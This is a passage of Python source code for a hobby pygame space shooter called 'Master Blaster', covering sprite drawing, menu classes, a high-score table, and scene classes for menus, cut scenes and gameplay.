math.hypot(dx, dy) if proximity < 4*self.size + projectile.size: self.health -= projectile.power return True class Heart(): def __init__(self): self.size = 3 self.colour = 255, 150, 150 self.thickness = 0 def display(self, position): self.x = 25 + position*30 self.y = HEIGHT - 17 pygame.draw.rect(SCREEN, self.colour, (self.x, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x , self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y- 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 4*self.size, self.y, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y - self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 3*self.size, self.y + self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - 2*self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 2*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x + self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x - self.size, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 3*self.size, self.size, self.thickness)) pygame.draw.rect(SCREEN, self.colour, (self.x, self.y + 4*self.size, self.size, self.thickness)) ######################################################################################################################## ######################################################################################################################## ' **** TEXT/MENU CLASSES **** ' ######################################################################################################################## ######################################################################################################################## class MenuItem(): def __init__(self, text, font, font_size, font_colour, pos_x=0, pos_y=0): self.text = text self.font_size = font_size self.font = font self.font_colour = font_colour self.label = self.font.render(self.text, 1, self.font_colour) self.width = self.label.get_rect().width self.height = self.label.get_rect().height self.dimensions = (self.width, self.height) self.pos_x = pos_x self.pos_y = pos_y self.position = pos_x, pos_y def is_mouse_selection(self, posx, posy): if (posx >= self.pos_x and posx <= self.pos_x + self.width) and \ (posy >= self.pos_y and posy <= self.pos_y + self.height): return True return False def set_position(self, x, y): self.position = (x, y) self.pos_x = x self.pos_y = y def set_font_colour(self, rgb_tuple): self.font_colour = rgb_tuple self.label = self.font.render(self.text, 1, self.font_colour) class GameMenu(): def __init__(self, items, funcs, x, y): self.screen_width = SCREEN.get_rect().width self.screen_height = SCREEN.get_rect().height self.font = BODY_FONT self.italic_font = BODY_ITALIC_FONT font_size = 30 font_colour = WHITE self.background_colour = BLACK self.clock = pygame.time.Clock() self.funcs = funcs self.items = [] for index, item in enumerate(items): menu_item = MenuItem(item, self.font, font_size, font_colour) # t_h: totalHEIGHT of text block t_h = len(items) * menu_item.height pos_x = (self.screen_width / x) - (menu_item.width / 2) # This line includes a bug fix by Ariel (Thanks!) # Please check the comments section of pt. 2 for an explanation a = self.screen_height / y b = t_h / 2 c = index*2 d = index * menu_item.height pos_y = (a + c + d) - b menu_item.set_position(pos_x, pos_y) self.items.append(menu_item) self.mouse_is_visible = True self.cur_item = None def set_mouse_visibility(self): if self.mouse_is_visible: pygame.mouse.set_visible(True) else: pygame.mouse.set_visible(False) def set_keyboard_selection(self, key): """ Marks the MenuItem chosen via up and down keys. """ for item in self.items: # Return all to neutral item.font = self.font item.set_font_colour(WHITE) if self.cur_item is None: self.cur_item = 0 else: # Find the chosen item if key == pygame.K_UP and \ self.cur_item > 0: self.cur_item -= 1 elif key == pygame.K_UP and \ self.cur_item == 0: self.cur_item = len(self.items) - 1 elif key == pygame.K_DOWN and \ self.cur_item < len(self.items) - 1: self.cur_item += 1 elif key == pygame.K_DOWN and \ self.cur_item == len(self.items) - 1: self.cur_item = 0 self.items[self.cur_item].font = self.italic_font self.items[self.cur_item].set_font_colour(RED) MENU_SCROLL_SOUND.play(0) # Finally check if Enter or Space is pressed if key == pygame.K_SPACE or key == pygame.K_RETURN: text = self.items[self.cur_item].text MENU_SELECT_SOUND.play(0) self.funcs[text]() def set_mouse_selection(self, item, mpos1, mpos2): """Marks the MenuItem the mouse cursor hovers on.""" if item.is_mouse_selection(mpos1, mpos2): if item.font_colour == WHITE: MENU_SCROLL_SOUND.play(0) item.set_font_colour(RED) item.font = self.italic_font else: item.set_font_colour(WHITE) item.font = self.font class HighScoresTable(): def __init__(self, items, average_item_width, y): self.screen_width = SCREEN.get_rect().width self.screen_height = SCREEN.get_rect().height self.font = TABLE_FONT self.italic_font = TABLE_ITALIC_FONT self.background_colour = BLACK font_size = 20 font_colour = WHITE self.items = [] for index, item in enumerate(items): menu_item = MenuItem(item, self.font, font_size, font_colour) # t_h: totalHEIGHT of text block t_h = len(items) * menu_item.height pos_x = (self.screen_width / 2) - (average_item_width /2) a = self.screen_height / y b = t_h / 2 c = index*2 d = index * menu_item.height pos_y = (a + c + d) - b menu_item.set_position(pos_x, pos_y) self.items.append(menu_item) self.mouse_is_visible = True self.cur_item = None def set_mouse_visibility(self): if self.mouse_is_visible: pygame.mouse.set_visible(True) else: pygame.mouse.set_visible(False) def set_mouse_selection(self, item, mpos1, mpos2): """Marks the MenuItem the mouse cursor hovers on.""" if item.is_mouse_selection(mpos1, mpos2): item.set_font_colour(RED) item.font = self.italic_font else: item.set_font_colour(WHITE) item.font = self.font class PickupNotification(): def __init__(self, game_play_scene, pickup): self.x, self.y = pickup.x, pickup.y self.init_time = game_play_scene.time if pickup.type == 1: self.text = HUD_FONT.render(game_play_scene.collectable_weapons[pickup.weapon_type].text, 1, WHITE) self.sound = os.path.normpath('sound/Weapon Collected Sound.ogg') elif pickup.type == 2: self.text = HUD_FONT.render(game_play_scene.weapon_inventory[pickup.weapon_type].text + ' + ' + str(pickup.contents), 1, WHITE) self.sound = os.path.normpath('sound/Ammo Collected Sound.ogg') elif pickup.type == 3: self.text = HUD_FONT.render('1 UP', 1, WHITE) self.sound = os.path.normpath('sound/1 UP Sound.ogg') self.text_width = self.text.get_size()[0] def delete(self, game_play_scene): if game_play_scene.time > self.init_time + 3000: game_play_scene.notifications.remove(self) def display(self): SCREEN.blit(self.text, (self.x - self.text_width *0.5, self.y - 20)) def play_sound(self): sound = pygame.mixer.Sound(self.sound) sound.play(0) ######################################################################################################################## ######################################################################################################################## ' **** SCENE CLASSES **** ' ######################################################################################################################## ######################################################################################################################## class Scene: def __init__(self, director): self.director = director def on_update(self): raise NotImplementedError("on_update abstract method must be defined in subclass.") def on_event(self, event): raise NotImplementedError("on_event abstract method must be defined in subclass.") def on_draw(self, SCREEN): raise NotImplementedError("on_draw abstract method must be defined in subclass.") class SplashScene(Scene): def __init__(self, director): Scene.__init__(self, director) self.particles = [] self.title = TITLE_FONT.render("Master Blaster", 1, WHITE) self.title_width, self.title_height = self.title.get_size() self.music_flag = True def on_event(self, none1, none2, none3): pass def on_update(self): if self.music_flag: pygame.mixer.music.load(os.path.normpath("sound/splash.wav")) pygame.mixer.music.set_volume(0.5) pygame.mixer.music.play(0) if pygame.time.get_ticks() > 7000: dir.scene = main_menu_scene particle = Particle(WIDTH / 2, HEIGHT / 2, explosion_colours(), random.randint(1, 5), random.randint(1, 10)) self.particles.append(particle) for particle in self.particles: if particle.delete(): self.particles.remove(particle) particle.update() self.music_flag = False def on_draw(self, none1, none2): SCREEN.fill(BLACK) for particle in self.particles: particle.display() SCREEN.blit(self.title, (round(WIDTH *0.5 - self.title_width *0.5), round(HEIGHT *0.5 - self.title_height *0.5))) class MainMenuScene(Scene): def __init__(self, director): Scene.__init__(self, director) def play(): intro_cut_scene.__init__(dir, self) dir.scene = intro_cut_scene def high_scores(): high_scores_scene.__init__(dir) high_scores_scene.previous_scene = self dir.scene = high_scores_scene def about(): about_scene.previous_scene = self dir.scene = about_scene def quit_menu(): quit_menu_scene.previous_scene = self quit_menu_scene.destination = None dir.scene = quit_menu_scene def settings(): settings_menu_scene.previous_scene = self dir.scene = settings_menu_scene self.functions = {'Play': play, 'Settings': settings, 'High Scores' : high_scores, 'About' : about, 'Quit' : quit_menu } self.menu = GameMenu( self.functions.keys(), self.functions, 2, 2) self.music_flag = True #lists self.particles = [] self.stars = [] self.defender = Defender(WIDTH / 2, HEIGHT - 50) self.movement_x = [False, False] self.movement_y = [False, False] self.music_flag = True def on_update(self): if self.music_flag: pygame.mixer.music.load(os.path.normpath("sound/Title Music.ogg")) pygame.mixer.music.set_volume(0.7) pygame.mixer.music.play(-1) self.music_flag = False afterburner = AfterBurner(self.defender, self.movement_x, self.movement_y) self.particles.append(afterburner) stars_ = random.randint(0, 13) if stars_ == 7: star = Star() self.stars.append(star) booster = Booster(self.defender, self.movement_x, self.movement_y) self.particles.append(booster) for particle in self.particles: if particle.delete(): self.particles.remove(particle) particle.update() for star in self.stars: if star.delete(): self.stars.remove(star) star.update() def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): MENU_SELECT_SOUND.play(0) self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.menu.cur_item = None self.menu.set_mouse_visibility() SCREEN.fill(BLACK) for particle in self.particles: particle.display() for star in self.stars: star.display() self.defender.display() for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) class SettingsMenuScene(Scene): def __init__(self, director): Scene.__init__(self, director) def controls(): controls_menu_scene.previous_scene = self.previous_scene dir.scene = controls_menu_scene def sound(): pass def back(): dir.scene = self.previous_scene self.functions = {'Controls': controls, 'Sound': sound, 'Back' : back} self.menu = GameMenu( self.functions.keys(), self.functions, 2, 2) self.previous_scene = None self.menu_scroll_flag = False def on_update(self): if self.previous_scene == main_menu_scene: main_menu_background_update() def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): MENU_SELECT_SOUND.play(0) self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.menu.cur_item = None self.menu.set_mouse_visibility() SCREEN.fill(BLACK) if self.previous_scene == game_paused_scene: display_game() if self.previous_scene == main_menu_scene: main_menu_background_draw() for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) class ControlsMenuScene(Scene): def __init__(self, director): Scene.__init__(self, director) def back(): dir.scene = self.previous_scene def alter_key(): pass #Game controls self.up = pygame.K_UP self.down = pygame.K_DOWN self.left = pygame.K_LEFT self.right = pygame.K_RIGHT self.fire = pygame.K_SPACE self.message = HEADER_FONT.render('Select an action to alter the control', 1, WHITE) self.message_width = self.message.get_rect().width self.previous_scene = None self.functions = {'up = ' + pygame.key.name(self.up) : alter_key, 'down = ' + pygame.key.name(self.down) : alter_key, 'left = ' + pygame.key.name(self.left) : alter_key, 'right = ' + pygame.key.name(self.right) : alter_key, 'fire weapon = ' + pygame.key.name(self.fire) : alter_key, 'back' : back} self.menu = GameMenu( self.functions.keys(), self.functions, 2, 2) def on_update(self): if self.previous_scene == main_menu_scene: main_menu_background_update() def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: if event.key == pygame.K_ESCAPE: back() self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): MENU_SELECT_SOUND.play(0) self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.menu.cur_item = None self.menu.set_mouse_visibility() SCREEN.fill(BLACK) if self.previous_scene == game_paused_scene: display_game() if self.previous_scene == main_menu_scene: main_menu_background_draw() for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) SCREEN.blit(self.message, (round(((WIDTH / 2 ) - (self.message_width / 2))), round(HEIGHT / 4))) class ControlsEntryScene(Scene): def __init__(self, director): Scene.__init__(self, director) def back(): dir.scene = self.previous_scene def alter_key(): pass self.previous_scene = None self.selected_key = None self.message = TITLE_FONT.render('Press a key for ', 1, WHITE) self.message_width = self.message.get_rect().width self.functions = {'back' : back} self.menu = GameMenu( self.functions.keys(), self.functions, 2, 2) def on_update(self): if self.previous_scene == main_menu_scene: main_menu_background_update() def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.menu.cur_item = None self.menu.set_mouse_visibility() SCREEN.fill(BLACK) if self.previous_scene == game_paused_scene: display_game() if self.previous_scene == main_menu_scene: main_menu_background_draw() for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) SCREEN.blit(self.message, (round(((WIDTH / 2 ) - (self.message_width / 2)), round(HEIGHT / 3.5)))) class QuitMenuScene(Scene): def __init__(self, director): Scene.__init__(self, director) def back(): dir.scene = self.previous_scene def quit(): if self.destination == main_menu_scene: main_menu_scene.__init__(dir) dir.scene = main_menu_scene else: quit_flag() self.quit_message = HEADER_FONT.render('Are you sure you want to quit?', 1, WHITE) self.menu_message = HEADER_FONT.render('Exit to main menu?', 1, WHITE) self.previous_scene = None self.destination = None self.functions = {'Yes': quit, 'No' : back} self.menu = GameMenu( self.functions.keys(), self.functions, 2, 2) def on_update(self): if self.previous_scene == main_menu_scene: main_menu_background_update() def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.key == pygame.K_ESCAPE: MENU_SELECT_SOUND.play(0) dir.scene = self.previous_scene if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): MENU_SELECT_SOUND.play(0) self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.menu.cur_item = None self.menu.set_mouse_visibility() SCREEN.fill(BLACK) if self.previous_scene == game_paused_scene: display_game() if self.previous_scene == main_menu_scene: main_menu_background_draw() for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) if self.destination == main_menu_scene: message = self.menu_message else: message = self.quit_message message_width = message.get_rect().width SCREEN.blit(message, (round(((WIDTH / 2 ) - (message_width / 2))), round(HEIGHT / 4))) class HighScoresScene(Scene): def __init__(self, director): Scene.__init__(self, director) def back(): dir.scene = self.previous_scene space_render = TABLE_FONT.render(' ', 1, WHITE) space_width = space_render.get_rect().width self.previous_scene = None self.high_scores = [] self.item_widths = 0 for item in read_high_scores(): #renders name and score name_render = TABLE_FONT.render(item[0], 1, WHITE) score_render = TABLE_FONT.render(str(item[1]), 1, WHITE) #calculatesWIDTH of the rendered name and score name_width = name_render.get_rect().width score_width = score_render.get_rect().width #calculates the amount of remaining available space in each column additional_space1 = int(((space_width * 30) - name_width) / space_width) additional_space2 = int(((space_width * 20) - score_width) / space_width) #makes the tuple into a single string with extra space filled item = item[0] + ' '*additional_space1 + str(item[1]) + ' '*additional_space2 + item[2] item_render = TABLE_FONT.render(item, 1, WHITE) item_width = item_render.get_rect().width self.item_widths += item_width self.high_scores.append(item) average_item_width = (int(self.item_widths/len(self.high_scores))) self.functions = {'Back': back} self.menu = GameMenu( self.functions.keys(), self.functions, 6, 1.1) self.scores_table = HighScoresTable( self.high_scores, average_item_width, 2) def on_update(self): if self.previous_scene == main_menu_scene: main_menu_background_update() def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.key == pygame.K_ESCAPE: MENU_SELECT_SOUND.play(0) dir.scene = self.previous_scene if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): MENU_SELECT_SOUND.play(0) self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.scores_table.mouse_is_visible = True self.menu.cur_item = None self.scores_table.cur_item = None self.menu.set_mouse_visibility() self.scores_table.set_mouse_visibility() SCREEN.fill(BLACK) for item in self.scores_table.items: if self.scores_table.mouse_is_visible: self.scores_table.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) if self.previous_scene == game_paused_scene: display_game() if self.previous_scene == main_menu_scene: main_menu_background_draw() class AboutScene(Scene): def __init__(self, director): Scene.__init__(self, director) def back(): dir.scene = self.previous_scene self.message = '''This is a game that I decided to make in my sparetime to develope my python skills. It has been written in python 3.6 and makes use of the following modules: pygame, operator, random, math, pickle and datetime. I have used a variety of sound effects from https://freesound.org and some fonts from various font sites The graphics have been implemented completely by using pygame's drawing functions which has involved a bit of math here and there. The music has been composed by myself as well as a few of the sound effects. I hope you enjoy. My email address is: eM7RON@live.com''' self.previous_scene = None self.functions = {'Back': back} self.menu = GameMenu( self.functions.keys(), self.functions, 6, 1.1) def on_update(self): if self.previous_scene == main_menu_scene: main_menu_background_update() def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: self.menu.mouse_is_visible = False self.menu.set_keyboard_selection(event.key) if event.key == pygame.K_ESCAPE: MENU_SELECT_SOUND.play(0) dir.scene = self.previous_scene if event.type == pygame.MOUSEBUTTONDOWN: for item in self.menu.items: if item.is_mouse_selection(mpos1, mpos2): MENU_SELECT_SOUND.play(0) self.functions[item.text]() def on_draw(self, mpos1, mpos2): if pygame.mouse.get_rel() != (0, 0): self.menu.mouse_is_visible = True self.menu.cur_item = None self.menu.set_mouse_visibility() SCREEN.fill(BLACK) for item in self.menu.items: if self.menu.mouse_is_visible: self.menu.set_mouse_selection(item, mpos1, mpos2) SCREEN.blit(item.label, item.position) if self.previous_scene == game_paused_scene: display_game() if self.previous_scene == main_menu_scene: main_menu_background_draw() blit_text(SCREEN, self.message, (WIDTH *0.2, HEIGHT *0.2), WIDTH *0.8, NEW_BODY_FONT, WHITE) class GameOverScene(Scene): def __init__(self, director): Scene.__init__(self, director) self.game_over_text = TITLE_FONT.render("Game Over", 1, WHITE) self.text_width, self.text_height = self.game_over_text.get_size() self.music_flag = True self.screen_flag = True self.ticks = 0 self.high_scores = read_high_scores() def on_event(self, none1, none2, none3): pass def on_update(self): if self.music_flag: pygame.mixer.music.load(os.path.normpath("sound/game over.wav")) pygame.mixer.music.set_volume(0.5) pygame.mixer.music.play(0) self.music_flag = False if self.screen_flag: self.ticks = pygame.time.get_ticks() self.screen_flag = False time = pygame.time.get_ticks() if time > self.ticks + 7000: for item in self.high_scores: if item[1] < game_play_scene.score: high_score_entry_scene.__init__(dir) dir.scene = high_score_entry_scene main_menu_scene.__init__(dir) dir.scene = main_menu_scene def on_draw(self, none1, none2): SCREEN.fill(BLACK) SCREEN.blit(self.game_over_text, (round(WIDTH *0.5 - self.text_width *0.5), round(HEIGHT *0.5 - self.text_height *0.5))) class HighScoreEntryScene(Scene): def __init__(self, director): Scene.__init__(self, director) self.high_score_text = HEADER_FONT.render('Congratulations you achieved a high score!', 1, WHITE) self.text_width, self.text_height = self.high_score_text.get_size() self.que_text = HEADER_FONT.render('Enter Name:', 1, WHITE) self.que_width, self.que_height = self.que_text.get_size() self.name = "" self.screen_flag = [False, False] self.ticks = 0 def on_event(self, event, none1, none2): if event.type == pygame.KEYDOWN: if event.key == pygame.K_BACKSPACE: self.name = self.name[:-1] elif (event.key == pygame.K_RETURN) and (len(self.name) > 0): self.screen_flag = [True, True] write_high_scores(self.name, game_play_scene.score, game_over_scene.high_scores) main_menu_scene.__init__(dir) dir.scene = main_menu_scene elif len(self.name) > 11: None else: self.name += event.unicode def on_update(self): if self.screen_flag[0]: self.ticks = pygame.time.get_ticks() self.screen_flag[0] = False if self.screen_flag[1] and pygame.time.get_ticks() > self.ticks + 7000: dir.scene = main_menu_scene def on_draw(self, none1, none2): SCREEN.fill(BLACK) SCREEN.blit(self.high_score_text, (round(WIDTH *0.5 - self.text_width *0.5), round(HEIGHT *0.3 - self.text_height *0.5))) name = HEADER_FONT.render(self.name, 10, WHITE) name_width, name_height = name.get_size() SCREEN.blit(name, (round(WIDTH *0.5 - name_width *0.5), round(HEIGHT *0.5 - name_height *0.5))) SCREEN.blit(self.que_text, (round(WIDTH * 0.05), round(HEIGHT *0.5 - self.que_height *0.5))) class IntroCutScene(Scene): def __init__(self, director, main_menu_scene): Scene.__init__(self, director) #lists self.particles = [] self.stars = [] for particle in main_menu_scene.particles: self.particles.append(particle) self.starts = main_menu_scene.stars self.defender = Defender(WIDTH *0.5, HEIGHT - 50) self.initial_time = pygame.time.get_ticks() self.movement_x = [False, False] self.movement_y = [False, False] self.draw_orientation = [False, False, False, False] self.music_flag = True # movement flags self.movement_flag_1 = True self.movement_flag_2 = True self.movement_flag_3 = True self.movement_flag_4 = True self.movement_flag_5 = True self.movement_flag_6 = True self.movement_flag_7 = True self.movement_flag_8 = True self.movement_flag_9 = True self.movement_flag_10 = True self.movement_flag_11 = True self.movement_flag_12 = True def on_event(self, event, mpos1, mpos2): pass def on_update(self): time = pygame.time.get_ticks() if self.music_flag: pygame.mixer.music.load(os.path.normpath("sound/trojan v 1.0.ogg")) pygame.mixer.music.set_volume(1) pygame.mixer.music.play(-1) self.music_flag = False if (time > self.initial_time + 500) and (self.movement_flag_1 == True): enemy_detected_sound = pygame.mixer.Sound(os.path.normpath('sound/Enemy Detected Sound.ogg')) enemy_detected_sound.set_volume(0.5) enemy_detected_sound.play(0) self.movement_y[0] = True self.movement_flag_1 = False if (time > self.initial_time + 600) and (self.movement_flag_2 == True): self.movement_x[1] = True self.movement_flag_2 = False if (time > self.initial_time + 1500) and (self.movement_flag_3 == True): self.movement_x = [True, False] self.movement_flag_3 = False if (time > self.initial_time + 2600) and (self.movement_flag_4 == True): self.movement_x = [False, True] self.movement_flag_4 = False if (time > self.initial_time + 2600) and (self.defender.x > WIDTH *0.5) and (self.movement_flag_5 == True): self.defender.x = WIDTH *0.5 self.movement_x = [False, False] self.movement_y = [False, False] self.movement_flag_5 = False if (time > self.initial_time + 2600) and (self.defender.x == WIDTH *0.5) and (self.movement_flag_6 == True): self.defender.y += 1 if (time > self.initial_time + 2600) and (self.defender.y > HEIGHT *0.5) and (self.movement_flag_7 == True): engine_sound = pygame.mixer.Sound(os.path.normpath('sound/Light Speed Engine Sound.ogg')) engine_sound.set_volume(0.5) engine_sound.play(0) self.movement_flag_6 = False self.defender.y = HEIGHT *0.5 if (time > self.initial_time + 9000) and (self.defender.y == HEIGHT *0.5) and (self.movement_flag_8 == True): self.movement_flag_7 = False for star in self.stars: star.thickness += 20 star.speed = 0 if (time > self.initial_time + 11000) and (self.defender.y == HEIGHT *0.5) and (self.movement_flag_9 == True): self.movement_flag_8 = False for star in self.stars: star.speed = random.uniform(23, 43) star.thickness += 20 if (time > self.initial_time + 14000) and (self.defender.y == HEIGHT *0.5) and (self.movement_flag_10 == True): self.movement_flag_9 = False for star in self.stars: star.thickness = 4 star.speed = random.uniform(2, 20) if (time > self.initial_time + 15000) and (self.movement_flag_11 == True): self.defender.y += 2 self.movement_flag_10 = False if (time > self.initial_time + 15000) and (self.defender.y == HEIGHT - 50) and (self.movement_flag_12 == True): self.movement_flag_11 = False if self.movement_x[0]: self.defender.x += -4.333 self.draw_orientation[0] = True else: self.draw_orientation[0] = False if self.movement_x[1]: self.defender.x += +4.333 self.draw_orientation[1] = True else: self.draw_orientation[1] = False if self.movement_y[0]: self.defender.y += -2.333 self.draw_orientation[2] = True else: self.draw_orientation[2] = False if self.movement_y[1]: self.defender.y += +2.333 self.draw_orientation[3] = True else: self.draw_orientation[3] = False if not self.movement_x[0] and not self.movement_x[1]: self.defender.x += 0 if self.draw_orientation[2]: afterburner = AfterBurner(self.defender, self.movement_x, self.movement_y) self.particles.append(afterburner) if not self.movement_y[0] and not self.movement_y[1]: self.defender.y += 0 stars_ = random.randint(0, 13) if stars_ == 7: star = Star() self.stars.append(star) booster = Booster(self.defender, self.movement_x, self.movement_y) self.particles.append(booster) self.defender.bounce() for particle in self.particles: if particle.delete(): self.particles.remove(particle) particle.update() for star in self.stars: if star.delete(): self.stars.remove(star) star.update() if time > self.initial_time + 16000: game_play_scene.__init__(dir, self) dir.scene = game_play_scene if (time > (self.initial_time + 5000)) and (time < (self.initial_time + 8500)): electrical_discharge = Lightning(self.defender.x + random.uniform(-50, 50), self.defender.y + random.uniform(-50, 50), self.defender.x + random.uniform(-HEIGHT *0.3, HEIGHT *0.3), self.defender.y + random.uniform(-HEIGHT *0.3, HEIGHT *0.3), lightning_blue_stem_colours(), lightning_blue_fork_colours(), random.uniform(math.pi, math.pi * 2)) self.particles.append(electrical_discharge) def on_draw(self, mpos1, mpos2): SCREEN.fill(BLACK) for particle in self.particles: particle.display() for star in self.stars: star.display() if (self.draw_orientation[0] and self.draw_orientation[1]) or (self.draw_orientation[2] and self.draw_orientation[3]): self.defender.display() elif self.draw_orientation[0]: self.defender.display_right() elif self.draw_orientation[1]: self.defender.display_left() elif self.draw_orientation[2]: self.defender.display_forward() elif self.draw_orientation[3]: self.defender.display_back() else: self.defender.display() class GamePlayScene(Scene): def __init__(self, director, intro_cut_scene): Scene.__init__(self, director) #lists self.enemies = [] self.projectiles = [] self.particles = [] self.stars = [] self.pickups = [] self.hearts = [] self.pickups = [] self.explosion_sounds = [] self.notifications = [] for particle in intro_cut_scene.particles: self.particles.append(particle) for star in intro_cut_scene.stars: self.stars.append(star) gun = Gun(self) rocket_launcher = RocketLauncher(self) bomb_launcher = BombLauncher(self) laser_gun = LaserGun(self) lightning_gun = LightningGun(self) self.collectable_weapons = [rocket_launcher, bomb_launcher, laser_gun, lightning_gun] self.weapon_inventory = [gun, lightning_gun] #sound effects for number in range(8): sound = pygame.mixer.Sound(os.path.normpath("sound/explosion" + str(number) + ".wav")) sound.set_volume(0.15) self.explosion_sounds.append(sound) self.weapon_toggle = 0 self.current_weapon = self.weapon_inventory[self.weapon_toggle] self.defender = Defender(WIDTH *0.5, HEIGHT - 50) self.time = pygame.time.get_ticks() self.n = 0 self.lives = 3 self.weapon = 0 self.score = 0 self.movement_x = [False, False] self.movement_y = [False, False] self.draw_orientation = [False, False, False, False] self.primary_fire = False self.secondary_fire = False # rendered texts self.display_score = HUD_FONT.render(str(self.score), 1, WHITE) self.selected_weapon_text = HUD_FONT.render("Weapon:" + self.current_weapon.text, 1, WHITE) self.ammo_text = HUD_FONT.render("Ammo:" + str(self.current_weapon.ammo), 1, WHITE) def on_event(self, event, mpos1, mpos2): if event.type == pygame.KEYDOWN: if (event.key == (pygame.K_RSHIFT or pygame.K_SPACE)) and (self.current_weapon.ammo == 0): empty_weapon_sound = 